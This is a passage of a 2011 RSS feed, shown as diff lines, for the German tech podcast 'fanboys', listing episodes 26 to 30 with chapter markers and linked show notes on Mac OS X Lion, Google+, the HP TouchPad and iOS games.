+ <sc:chapter start="00:48:01" title="Tabswipen mit BetterTouchTool" href="http://blog.boastr.net/" />
+ <sc:chapter start="00:50:33" title="Feedback: USK im AppStore" />
+ <sc:chapter start="00:53:34" title="Feedback: Google+ ab 18" />
+ <sc:chapter start="00:56:07" title="Feedback: Displays und 10.7" />
+ <sc:chapter start="00:58:30" title="Feedback: Chrome &amp; iTunes" />
+ <sc:chapter start="01:04:20" title="Feedback: Hibernate auf Desktops" />
+ <sc:chapter start="01:06:06" title="Hörerpick: Unthinkable" href="http://en.wikipedia.org/wiki/Unthinkable" />
+ <sc:chapter start="01:08:44" title="The Story of Electronics" href="http://www.youtube.com/watch?v=sW_7i6T_H78" />
+ <sc:chapter start="01:09:43" title="Conflict materials" href="http://en.wikipedia.org/wiki/Conflict_minerals" />
+ <sc:chapter start="01:11:12" title="Feedback: Filevault 2" />
+ <sc:chapter start="01:15:48" title="Feedback: Hillegass und Xcode 4" />
+ <sc:chapter start="01:20:30" title="Hörerpick: Toontastic" href="http://launchpadtoys.com/toontastic/" />
+ <sc:chapter start="01:22:53" title="Feedback: Alte Betriebssyteme" />
+ <sc:chapter start="01:23:28" title="Martin verpincht sich" />
+ <sc:chapter start="01:25:16" title="This American Life: When Patents Attack!" href="http://www.thisamericanlife.org/radio-archives/episode/441/when-patents-attack" />
+ <sc:chapter start="01:30:11" title="Webm Patentsorgen" href="http://www.heise.de/newsticker/meldung/Zwoelf-Firmen-haben-angeblich-Patentansprueche-gegen-WebM-1288148.html" />
+ <sc:chapter start="01:32:07" title="BBC iPlayer jetzt global" href="http://itunes.apple.com/de/app/bbc-iplayer-global/id449130604?ls=1&amp;mt=8" />
+ <sc:chapter start="01:34:14" title="Humble Indie Bundle 3" href="http://www.humblebundle.com/" />
+ <sc:chapter start="01:36:42" title="Rausschmeisser" href="http://www.youtube.com/watch?v=OrkAuwaoFGg" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#30:" />
+ </item>
+ <item>
+ <title>Episode #29 - Löwenanteil</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Löwenanteil</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN029.mp3" length="42204389" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN029</guid>
+ <pubDate>Fri, 22 Jul 2011 23:20:17 +0200</pubDate>
+ <itunes:duration>01:27:47</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:11 Marcel
+00:00:14 Und Martin
+00:00:51 Z und Dune
+00:01:20 Lion
+00:02:21 Folder with Selection
+00:03:23 Folder Mergen
+00:04:41 Filevault 2
+00:05:29 Mission Control
+00:06:22 Application Expose und Recent Files
+00:07:01 Spotlight
+00:09:54 Knüllgeste to Launch Pad
+00:13:24 Mail.app
+00:20:00 Adressbuch
+00:21:41 iCal
+00:23:04 Martin's lustiger Multimonitorbug
+00:24:46 Finder Status Bar vermisst und gefunden
+00:26:05 ~/Library und Logfiles
+00:27:02 Xcode 4.1
+00:29:03 Safari Swipe
+00:31:14 Gesten
+00:33:01 Animationen
+00:34:56 Preview und Unlock
+00:37:50 Scrollrichtung schmerzt kurz, ist dann toll
+00:39:31 Restore Partition
+00:40:16 Lion nicht MAS exklusiv
+00:41:58 Fenster resizen
+00:43:29 Deutsche Sprachsynthese
+00:47:28 Siracusa Review
+00:48:12 Neue Macbook Airs
+00:51:06 Neue Mac Minis
+00:52:54 Neue Displays
+00:55:58 Voice Over auf iOS als Vorleser
+01:03:10 Google+ App
+01:09:19 Die gefakten Apple Store (News)
+01:12:32 Aaron Schwarz vs JSTOR
+01:19:13 Kard Combat
+01:25:54 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:14</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:51</td><td>Z und Dune</td></tr><tr><td>00:01:20</td><td><a href="http://www.apple.com/macosx/" target="_blank">Lion</td></tr><tr><td>00:02:21</td><td>Folder with Selection</td></tr><tr><td>00:03:23</td><td>Folder Mergen</td></tr><tr><td>00:04:41</td><td>Filevault 2</td></tr><tr><td>00:05:29</td><td>Mission Control</td></tr><tr><td>00:06:22</td><td>Application Expose und Recent Files</td></tr><tr><td>00:07:01</td><td>Spotlight</td></tr><tr><td>00:09:54</td><td>Knüllgeste to Launch Pad</td></tr><tr><td>00:13:24</td><td>Mail.app</td></tr><tr><td>00:20:00</td><td>Adressbuch</td></tr><tr><td>00:21:41</td><td>iCal</td></tr><tr><td>00:23:04</td><td>Martin's lustiger Multimonitorbug</td></tr><tr><td>00:24:46</td><td>Finder Status Bar vermisst und gefunden</td></tr><tr><td>00:26:05</td><td>~/Library und Logfiles</td></tr><tr><td>00:27:02</td><td>Xcode 4.1</td></tr><tr><td>00:29:03</td><td>Safari Swipe</td></tr><tr><td>00:31:14</td><td>Gesten</td></tr><tr><td>00:33:01</td><td>Animationen</td></tr><tr><td>00:34:56</td><td>Preview und Unlock</td></tr><tr><td>00:37:50</td><td>Scrollrichtung schmerzt kurz, ist dann toll</td></tr><tr><td>00:39:31</td><td>Restore Partition</td></tr><tr><td>00:40:16</td><td>Lion nicht MAS exklusiv</td></tr><tr><td>00:41:58</td><td>Fenster resizen</td></tr><tr><td>00:43:29</td><td>Deutsche Sprachsynthese</td></tr><tr><td>00:47:28</td><td><a href="http://arstechnica.com/apple/reviews/2011/07/mac-os-x-10-7.ars" target="_blank">Siracusa Review</td></tr><tr><td>00:48:12</td><td><a href="http://www.apple.com/macbookair/" target="_blank">Neue Macbook Airs</td></tr><tr><td>00:51:06</td><td><a href="http://www.apple.com/macmini/" target="_blank">Neue Mac Minis</td></tr><tr><td>00:52:54</td><td><a href="http://www.apple.com/displays/" target="_blank">Neue Displays</td></tr><tr><td>00:55:58</td><td>Voice Over auf iOS als Vorleser</td></tr><tr><td>01:03:10</td><td><a href="http://www.google.com/mobile/+/" target="_blank">Google+ App</td></tr><tr><td>01:09:19</td><td><a href="http://birdabroad.wordpress.com/2011/07/20/are-you-listening-steve-jobs/" target="_blank">Die gefakten Apple Store (News)</td></tr><tr><td>01:12:32</td><td><a href="http://www.wired.com/threatlevel/2011/07/swartz-arrest/" target="_blank">Aaron Schwarz vs JSTOR</td></tr><tr><td>01:19:13</td><td><a href="http://itunes.apple.com/de/app/kard-combat/id421061883?mt=8" target="_blank">Kard Combat</td></tr><tr><td>01:25:54</td><td><a href="http://www.youtube.com/watch?v=D2p5svFJ9cQ" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:14" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:51" title="Z und Dune" />
+ <sc:chapter start="00:01:20" title="Lion" href="http://www.apple.com/macosx/" />
+ <sc:chapter start="00:02:21" title="Folder with Selection" />
+ <sc:chapter start="00:03:23" title="Folder Mergen" />
+ <sc:chapter start="00:04:41" title="Filevault 2" />
+ <sc:chapter start="00:05:29" title="Mission Control" />
+ <sc:chapter start="00:06:22" title="Application Expose und Recent Files" />
+ <sc:chapter start="00:07:01" title="Spotlight" />
+ <sc:chapter start="00:09:54" title="Knüllgeste to Launch Pad" />
+ <sc:chapter start="00:13:24" title="Mail.app" />
+ <sc:chapter start="00:20:00" title="Adressbuch" />
+ <sc:chapter start="00:21:41" title="iCal" />
+ <sc:chapter start="00:23:04" title="Martin's lustiger Multimonitorbug" />
+ <sc:chapter start="00:24:46" title="Finder Status Bar vermisst und gefunden" />
+ <sc:chapter start="00:26:05" title="~/Library und Logfiles" />
+ <sc:chapter start="00:27:02" title="Xcode 4.1" />
+ <sc:chapter start="00:29:03" title="Safari Swipe" />
+ <sc:chapter start="00:31:14" title="Gesten" />
+ <sc:chapter start="00:33:01" title="Animationen" />
+ <sc:chapter start="00:34:56" title="Preview und Unlock" />
+ <sc:chapter start="00:37:50" title="Scrollrichtung schmerzt kurz, ist dann toll" />
+ <sc:chapter start="00:39:31" title="Restore Partition" />
+ <sc:chapter start="00:40:16" title="Lion nicht MAS exklusiv" />
+ <sc:chapter start="00:41:58" title="Fenster resizen" />
+ <sc:chapter start="00:43:29" title="Deutsche Sprachsynthese" />
+ <sc:chapter start="00:47:28" title="Siracusa Review" href="http://arstechnica.com/apple/reviews/2011/07/mac-os-x-10-7.ars" />
+ <sc:chapter start="00:48:12" title="Neue Macbook Airs" href="http://www.apple.com/macbookair/" />
+ <sc:chapter start="00:51:06" title="Neue Mac Minis" href="http://www.apple.com/macmini/" />
+ <sc:chapter start="00:52:54" title="Neue Displays" href="http://www.apple.com/displays/" />
+ <sc:chapter start="00:55:58" title="Voice Over auf iOS als Vorleser" />
+ <sc:chapter start="01:03:10" title="Google+ App" href="http://www.google.com/mobile/+/" />
+ <sc:chapter start="01:09:19" title="Die gefakten Apple Store (News)" href="http://birdabroad.wordpress.com/2011/07/20/are-you-listening-steve-jobs/" />
+ <sc:chapter start="01:12:32" title="Aaron Schwarz vs JSTOR" href="http://www.wired.com/threatlevel/2011/07/swartz-arrest/" />
+ <sc:chapter start="01:19:13" title="Kard Combat" href="http://itunes.apple.com/de/app/kard-combat/id421061883?mt=8" />
+ <sc:chapter start="01:25:54" title="Rausschmeisser" href="http://www.youtube.com/watch?v=D2p5svFJ9cQ" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#29:" />
+ </item>
+ <item>
+ <title>Episode #28 - Sommerloch</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Sommerloch</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN028.mp3" length="35584961" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN028</guid>
+ <pubDate>Fri, 15 Jul 2011 21:34:53 +0200</pubDate>
+ <itunes:duration>01:13:59</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:11 Und Martin
+00:00:34 HP Touchpad Speedbump
+00:01:32 Interview mit David und Rubinstein
+00:03:33 Amazon mit Android Tablet im Herbst
+00:05:36 EA kauft Popcap
+00:07:02 App Store passt Preise an
+00:08:17 Volume Purchase Program
+00:10:53 The Rise and Fall of the Independent Developer
+00:14:55 Aktuelle Lionvorhersage
+00:16:10 Aktuelle MBA-Vorhersage
+00:16:50 Einsölf: Zuckerberg leaves Google+
+00:22:07 Einsölf: Superdatenbanken
+00:27:32 Facebooktrottel
+00:27:55 Google+ hinter den Kulissen
+00:30:25 Hörerfrage: TimeMachine Zugriffsrechte
+00:34:57 Z für iOS
+00:41:39 Space Harvest
+00:43:57 Ascension - Chronicle of the Godslayer
+00:51:46 Marked
+00:55:47 TV Forecast HD
+00:57:40 Chosing to Die
+01:02:59 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:34</td><td><a href="http://www.zdnet.com/blog/hardware/hp-launches-touchpad-then-announces-faster-version-coming-soon-whaaa/13652" target="_blank">HP Touchpad Speedbump</td></tr><tr><td>00:01:32</td><td><a href="http://thisismynext.com/2011/07/14/dewitt-rubinstein-interview-exclusive/" target="_blank">Interview mit David und Rubinstein</td></tr><tr><td>00:03:33</td><td><a href="http://online.wsj.com/article/SB10001424052702303406104576444213058153874.html" target="_blank">Amazon mit Android Tablet im Herbst</td></tr><tr><td>00:05:36</td><td><a href="http://www.digitaltrends.com/gaming/what-the-ea-popcap-acquisition-means-for-the-company/" target="_blank">EA kauft Popcap</td></tr><tr><td>00:07:02</td><td><a href="http://www.readwriteweb.com/mobile/2011/07/apple-adjusts-app-store-pricing-in-select-markets.php" target="_blank">App Store passt Preise an</td></tr><tr><td>00:08:17</td><td><a href="http://www.appleinsider.com/articles/11/07/13/apple_adjusts_app_store_exchange_rates_adds_volume_app_purchasing_for_businesses.html" target="_blank">Volume Purchase Program</td></tr><tr><td>00:10:53</td><td><a href="http://furbo.org/2011/07/13/the-rise-and-fall-of-the-independent-developer/" target="_blank">The Rise and Fall of the Independent Developer</td></tr><tr><td>00:14:55</td><td><a href="http://www.apple.com/macosx/" target="_blank">Aktuelle Lionvorhersage</td></tr><tr><td>00:16:10</td><td><a href="http://www.apple.com/macbookair/" target="_blank">Aktuelle MBA-Vorhersage</td></tr><tr><td>00:16:50</td><td><a href="http://www.theinquirer.net/inquirer/news/2093546/zuckerberg-closes-google-account-tracked" target="_blank">Einsölf: Zuckerberg leaves Google+</td></tr><tr><td>00:22:07</td><td><a href="http://blog.spackeria.org/2011/07/14/google-plant-die-super-datenbank/" target="_blank">Einsölf: Superdatenbanken</td></tr><tr><td>00:27:32</td><td><a href="https://netzpolitik.org/wp-upload/IMG_20110712_203522.jpg" target="_blank">Facebooktrottel</td></tr><tr><td>00:27:55</td><td><a href="http://anyasq.com/79-im-a-technical-lead-on-the-google+-team" target="_blank">Google+ hinter den Kulissen</td></tr><tr><td>00:30:25</td><td>Hörerfrage: TimeMachine Zugriffsrechte</td></tr><tr><td>00:34:57</td><td><a href="http://itunes.apple.com/gb/app/z-the-game/id418354265?mt=8#" target="_blank">Z für iOS</td></tr><tr><td>00:41:39</td><td><a href="http://spaceharvest.com/" target="_blank">Space Harvest</td></tr><tr><td>00:43:57</td><td><a href="http://www.ascensiongame.com/" target="_blank">Ascension - Chronicle of the Godslayer</td></tr><tr><td>00:51:46</td><td><a href="http://itunes.apple.com/de/app/marked/id448925439?mt=12" target="_blank">Marked</td></tr><tr><td>00:55:47</td><td><a href="http://bigbucketsoftware.com/tvforecast/ipad/" target="_blank">TV Forecast HD</td></tr><tr><td>00:57:40</td><td><a href="http://www.youtube.com/watch?v=slZnfC-V1SY" target="_blank">Chosing to Die</td></tr><tr><td>01:02:59</td><td><a href="http://www.youtube.com/watch?v=AaEmCFiNqP0" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:34" title="HP Touchpad Speedbump" href="http://www.zdnet.com/blog/hardware/hp-launches-touchpad-then-announces-faster-version-coming-soon-whaaa/13652" />
+ <sc:chapter start="00:01:32" title="Interview mit David und Rubinstein" href="http://thisismynext.com/2011/07/14/dewitt-rubinstein-interview-exclusive/" />
+ <sc:chapter start="00:03:33" title="Amazon mit Android Tablet im Herbst" href="http://online.wsj.com/article/SB10001424052702303406104576444213058153874.html" />
+ <sc:chapter start="00:05:36" title="EA kauft Popcap" href="http://www.digitaltrends.com/gaming/what-the-ea-popcap-acquisition-means-for-the-company/" />
+ <sc:chapter start="00:07:02" title="App Store passt Preise an" href="http://www.readwriteweb.com/mobile/2011/07/apple-adjusts-app-store-pricing-in-select-markets.php" />
+ <sc:chapter start="00:08:17" title="Volume Purchase Program" href="http://www.appleinsider.com/articles/11/07/13/apple_adjusts_app_store_exchange_rates_adds_volume_app_purchasing_for_businesses.html" />
+ <sc:chapter start="00:10:53" title="The Rise and Fall of the Independent Developer" href="http://furbo.org/2011/07/13/the-rise-and-fall-of-the-independent-developer/" />
+ <sc:chapter start="00:14:55" title="Aktuelle Lionvorhersage" href="http://www.apple.com/macosx/" />
+ <sc:chapter start="00:16:10" title="Aktuelle MBA-Vorhersage" href="http://www.apple.com/macbookair/" />
+ <sc:chapter start="00:16:50" title="Einsölf: Zuckerberg leaves Google+" href="http://www.theinquirer.net/inquirer/news/2093546/zuckerberg-closes-google-account-tracked" />
+ <sc:chapter start="00:22:07" title="Einsölf: Superdatenbanken" href="http://blog.spackeria.org/2011/07/14/google-plant-die-super-datenbank/" />
+ <sc:chapter start="00:27:32" title="Facebooktrottel" href="https://netzpolitik.org/wp-upload/IMG_20110712_203522.jpg" />
+ <sc:chapter start="00:27:55" title="Google+ hinter den Kulissen" href="http://anyasq.com/79-im-a-technical-lead-on-the-google+-team" />
+ <sc:chapter start="00:30:25" title="Hörerfrage: TimeMachine Zugriffsrechte" />
+ <sc:chapter start="00:34:57" title="Z für iOS" href="http://itunes.apple.com/gb/app/z-the-game/id418354265?mt=8#" />
+ <sc:chapter start="00:41:39" title="Space Harvest" href="http://spaceharvest.com/" />
+ <sc:chapter start="00:43:57" title="Ascension - Chronicle of the Godslayer" href="http://www.ascensiongame.com/" />
+ <sc:chapter start="00:51:46" title="Marked" href="http://itunes.apple.com/de/app/marked/id448925439?mt=12" />
+ <sc:chapter start="00:55:47" title="TV Forecast HD" href="http://bigbucketsoftware.com/tvforecast/ipad/" />
+ <sc:chapter start="00:57:40" title="Chosing to Die" href="http://www.youtube.com/watch?v=slZnfC-V1SY" />
+ <sc:chapter start="01:02:59" title="Rausschmeisser" href="http://www.youtube.com/watch?v=AaEmCFiNqP0" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#28:" />
+ </item>
+ <item>
+ <title>Episode #27 - Tippen</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Tippen</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN027.mp3" length="41044762" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN027</guid>
+ <pubDate>Fri, 08 Jul 2011 20:58:11 +0200</pubDate>
+ <itunes:duration>01:25:22</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:12 Marcel
+00:00:15 Und Martin
+00:00:30 Google+: Schon wieder alles anders
+00:06:32 Eine Woche mit Google+
+00:11:27 Awesome Product Launch bei Facebook
+00:19:31 Lion und MBAs am 14.07?
+00:21:08 Keychain Sync Heulerei
+00:25:10 HP TouchPad
+00:31:28 Flash - Ahhhaaahhhh
+00:37:02 TouchPad "Lob"
+00:41:57 TouchPad Fazit
+00:46:43 TouchPad Bonus Genöhle
+00:52:49 Google Realtime Suche ist tot
+00:56:02 Persönliche Onlinedatenarchivierung
+00:57:44 Momento
+00:59:19 Timecapsule vs. Airport Extreme
+01:02:23 Backup: Wann und Wie?
+01:06:21 Game Center Matchmaking
+01:14:22 Burn Notice
+01:16:40 iTunes Festival
+01:17:48 Inside the Actors Studio
+01:20:50 iPhones im STS-135
+01:22:21 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="https://twitter.com/#!/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="https://twitter.com/#!/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:15</td><td><a href="https://twitter.com/#!/map" target="_blank">Und Martin</td></tr><tr><td>00:00:30</td><td>Google+: Schon wieder alles anders</td></tr><tr><td>00:06:32</td><td>Eine Woche mit Google+</td></tr><tr><td>00:11:27</td><td><a href="http://blogs.wsj.com/digits/2011/07/07/is-facebook’s-video-chat-really-something-awesome/" target="_blank">Awesome Product Launch bei Facebook</td></tr><tr><td>00:19:31</td><td>Lion und MBAs am 14.07?</td></tr><tr><td>00:21:08</td><td><a href="http://www.apple.com/mobileme/transition.html" target="_blank">Keychain Sync Heulerei</td></tr><tr><td>00:25:10</td><td><a href="http://en.wikipedia.org/wiki/HP_TouchPad" target="_blank">HP TouchPad</td></tr><tr><td>00:31:28</td><td>Flash - Ahhhaaahhhh</td></tr><tr><td>00:37:02</td><td>TouchPad "Lob"</td></tr><tr><td>00:41:57</td><td>TouchPad Fazit</td></tr><tr><td>00:46:43</td><td>TouchPad Bonus Genöhle</td></tr><tr><td>00:52:49</td><td><a href="http://www.google.com/landing/realtime/" target="_blank">Google Realtime Suche ist tot</td></tr><tr><td>00:56:02</td><td><a href="http://www.youtube.com/watch?v=QP4NI5o-WUw" target="_blank">Persönliche Onlinedatenarchivierung</td></tr><tr><td>00:57:44</td><td><a href="http://www.momentoapp.com/" target="_blank">Momento</td></tr><tr><td>00:59:19</td><td><a href="http://audioboo.fm/boos/407067-frage-an-die-fanb0ys" target="_blank">Timecapsule vs. Airport Extreme</td></tr><tr><td>01:02:23</td><td><a href="http://audioboo.fm/boos/404322-fragen-zum-backup" target="_blank">Backup: Wann und Wie?</td></tr><tr><td>01:06:21</td><td><a href="http://audioboo.fm/boos/406873-multiplayerspiele-einladungen-uber-gamecenter-funktioniert-nur-gelegentlich" target="_blank">Game Center Matchmaking</td></tr><tr><td>01:14:22</td><td><a href="http://en.wikipedia.org/wiki/Burn_Notice" target="_blank">Burn Notice</td></tr><tr><td>01:16:40</td><td><a href="http://www.itunesfestival.com/" target="_blank">iTunes Festival</td></tr><tr><td>01:17:48</td><td><a href="http://www.bravotv.com/inside-the-actors-studio" target="_blank">Inside the Actors Studio</td></tr><tr><td>01:20:50</td><td><a href="http://www.odysseysr.com/spacelab/index.html" target="_blank">iPhones im STS-135</td></tr><tr><td>01:22:21</td><td><a href="https://www.youtube.com/watch?v=aWpjS4JTJKI" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="https://twitter.com/#!/monkeydom" />
+ <sc:chapter start="00:00:12" title="Marcel" href="https://twitter.com/#!/zeitweise" />
+ <sc:chapter start="00:00:15" title="Und Martin" href="https://twitter.com/#!/map" />
+ <sc:chapter start="00:00:30" title="Google+: Schon wieder alles anders" />
+ <sc:chapter start="00:06:32" title="Eine Woche mit Google+" />
+ <sc:chapter start="00:11:27" title="Awesome Product Launch bei Facebook" href="http://blogs.wsj.com/digits/2011/07/07/is-facebook’s-video-chat-really-something-awesome/" />
+ <sc:chapter start="00:19:31" title="Lion und MBAs am 14.07?" />
+ <sc:chapter start="00:21:08" title="Keychain Sync Heulerei" href="http://www.apple.com/mobileme/transition.html" />
+ <sc:chapter start="00:25:10" title="HP TouchPad" href="http://en.wikipedia.org/wiki/HP_TouchPad" />
+ <sc:chapter start="00:31:28" title="Flash - Ahhhaaahhhh" />
+ <sc:chapter start="00:37:02" title="TouchPad &amp;quot;Lob&amp;quot;" />
+ <sc:chapter start="00:41:57" title="TouchPad Fazit" />
+ <sc:chapter start="00:46:43" title="TouchPad Bonus Genöhle" />
+ <sc:chapter start="00:52:49" title="Google Realtime Suche ist tot" href="http://www.google.com/landing/realtime/" />
+ <sc:chapter start="00:56:02" title="Persönliche Onlinedatenarchivierung" href="http://www.youtube.com/watch?v=QP4NI5o-WUw" />
+ <sc:chapter start="00:57:44" title="Momento" href="http://www.momentoapp.com/" />
+ <sc:chapter start="00:59:19" title="Timecapsule vs. Airport Extreme" href="http://audioboo.fm/boos/407067-frage-an-die-fanb0ys" />
+ <sc:chapter start="01:02:23" title="Backup: Wann und Wie?" href="http://audioboo.fm/boos/404322-fragen-zum-backup" />
+ <sc:chapter start="01:06:21" title="Game Center Matchmaking" href="http://audioboo.fm/boos/406873-multiplayerspiele-einladungen-uber-gamecenter-funktioniert-nur-gelegentlich" />
+ <sc:chapter start="01:14:22" title="Burn Notice" href="http://en.wikipedia.org/wiki/Burn_Notice" />
+ <sc:chapter start="01:16:40" title="iTunes Festival" href="http://www.itunesfestival.com/" />
+ <sc:chapter start="01:17:48" title="Inside the Actors Studio" href="http://www.bravotv.com/inside-the-actors-studio" />
+ <sc:chapter start="01:20:50" title="iPhones im STS-135" href="http://www.odysseysr.com/spacelab/index.html" />
+ <sc:chapter start="01:22:21" title="Rausschmeisser" href="https://www.youtube.com/watch?v=aWpjS4JTJKI" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#27:" />
+ </item>
+ <item>
+ <title>Episode #26 - Plus</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Plus</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN026.mp3" length="42400412" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN026</guid>
+ <pubDate>Fri, 01 Jul 2011 22:39:50 +0200</pubDate>
+ <itunes:duration>01:28:11</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:12 Und Herrn Zeitweise
+00:00:16 Und Martin
+00:01:59 Google+
+00:05:38 Circles
+00:09:10 Presentation von @Padday (Ex-Googler)
+00:12:05 Google+ Video
+00:14:44 Resharing Problematik
+00:16:35 Kreise durch Erwähnungen aufweichen
+00:19:13 Circles sind nicht Privacysetting
+00:25:10 Sortieren ist Arbeit?
+00:29:43 Datenkrake Google
+00:31:14 Google wird ein "Ort"
+00:36:39 Google Realtime
+00:37:07 Google+ Hangout
+00:41:17 Viraler Hund ist viral
+00:47:21 Digitales Verzeihen
+00:48:15 Erste TouchPad Reviews
+00:50:13 TouchPad Zielgruppe
+00:53:45 Thunderbolt Kabel
+00:58:13 Kein gültiges Wahlrecht mehr
+01:03:59 July 4th Sales im Appstore
+01:04:31 Robot Unicorn Attack
+01:04:54 Dungeon Hunter 2
+01:05:17 Nova 2
+01:05:51 Order and Chaos
+01:06:13 Starfront: Collision
+01:06:38 Sacred Odyssey: Rise of Ayden
+01:07:21 Der Fling
+01:10:33 Tweetbot
+01:13:15 World of Warcraft jetzt Free-to-Play
+01:17:48 Monster Soup
+01:20:54 Galcon
+01:21:03 Eliss
+01:21:16 Slice HD
+01:24:42 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td>Mit Dominik</td></tr><tr><td>00:00:12</td><td>Und Herrn Zeitweise</td></tr><tr><td>00:00:16</td><td>Und Martin</td></tr><tr><td>00:01:59</td><td><a href="https://plus.google.com/" target="_blank">Google+</td></tr><tr><td>00:05:38</td><td>Circles</td></tr><tr><td>00:09:10</td><td><a href="http://www.slideshare.net/padday/the-real-life-social-network-v2" target="_blank">Presentation von @Padday (Ex-Googler)</td></tr><tr><td>00:12:05</td><td><a href="http://www.youtube.com/watch?v=ocPeAdpe_A8" target="_blank">Google+ Video</td></tr><tr><td>00:14:44</td><td>Resharing Problematik</td></tr><tr><td>00:16:35</td><td>Kreise durch Erwähnungen aufweichen</td></tr><tr><td>00:19:13</td><td>Circles sind nicht Privacysetting</td></tr><tr><td>00:25:10</td><td>Sortieren ist Arbeit?</td></tr><tr><td>00:29:43</td><td>Datenkrake Google</td></tr><tr><td>00:31:14</td><td>Google wird ein "Ort"</td></tr><tr><td>00:36:39</td><td><a href="http://www.google.com/realtime" target="_blank">Google Realtime</td></tr><tr><td>00:37:07</td><td><a href="http://www.youtube.com/watch?v=QN38vHZjWXw" target="_blank">Google+ Hangout</td></tr><tr><td>00:41:17</td><td><a href="https://plus.google.com/103349037329512646684/posts/ZFvgNRgmrQC?tab=XX" target="_blank">Viraler Hund ist viral</td></tr><tr><td>00:47:21</td><td><a href="https://twitter.com/#!/zeitweise/status/66420021726949376" target="_blank">Digitales Verzeihen</td></tr><tr><td>00:48:15</td><td><a href="http://allthingsd.com/20110629/touchpad-needs-more-apps-reboot-to-rival-ipad/" target="_blank">Erste TouchPad Reviews</td></tr><tr><td>00:50:13</td><td><a href="http://www.loopinsight.com/2011/06/30/interview-hp-says-apple-is-not-touchpads-target/" target="_blank">TouchPad Zielgruppe</td></tr><tr><td>00:53:45</td><td><a href="http://store.apple.com/de/product/MC913ZM/A" target="_blank">Thunderbolt Kabel</td></tr><tr><td>00:58:13</td><td><a href="http://www.wahlrecht.de/" target="_blank">Kein gültiges Wahlrecht mehr</td></tr><tr><td>01:03:59</td><td>July 4th Sales im Appstore</td></tr><tr><td>01:04:31</td><td><a href="http://itunes.apple.com/us/app/robot-unicorn-attack-hd/id394982416?mt=8" target="_blank">Robot Unicorn Attack</td></tr><tr><td>01:04:54</td><td><a href="http://itunes.apple.com/us/app/dungeon-hunter-2-hd/id402441901?mt=8" target="_blank">Dungeon Hunter 2</td></tr><tr><td>01:05:17</td><td><a href="http://itunes.apple.com/us/app/n-o-v-a-2-near-orbit-vanguard/id400901458?mt=8" target="_blank">Nova 2</td></tr><tr><td>01:05:51</td><td><a href="http://itunes.apple.com/us/app/order-chaos-online/id414664715?mt=8" target="_blank">Order and Chaos</td></tr><tr><td>01:06:13</td><td><a href="http://itunes.apple.com/us/app/starfront-collision-hd/id424915605?mt=8" target="_blank">Starfront: Collision</td></tr><tr><td>01:06:38</td><td><a href="http://itunes.apple.com/us/app/sacred-odyssey-rise-of-ayden/id421486612?mt=8" target="_blank">Sacred Odyssey: Rise of Ayden</td></tr><tr><td>01:07:21</td><td><a 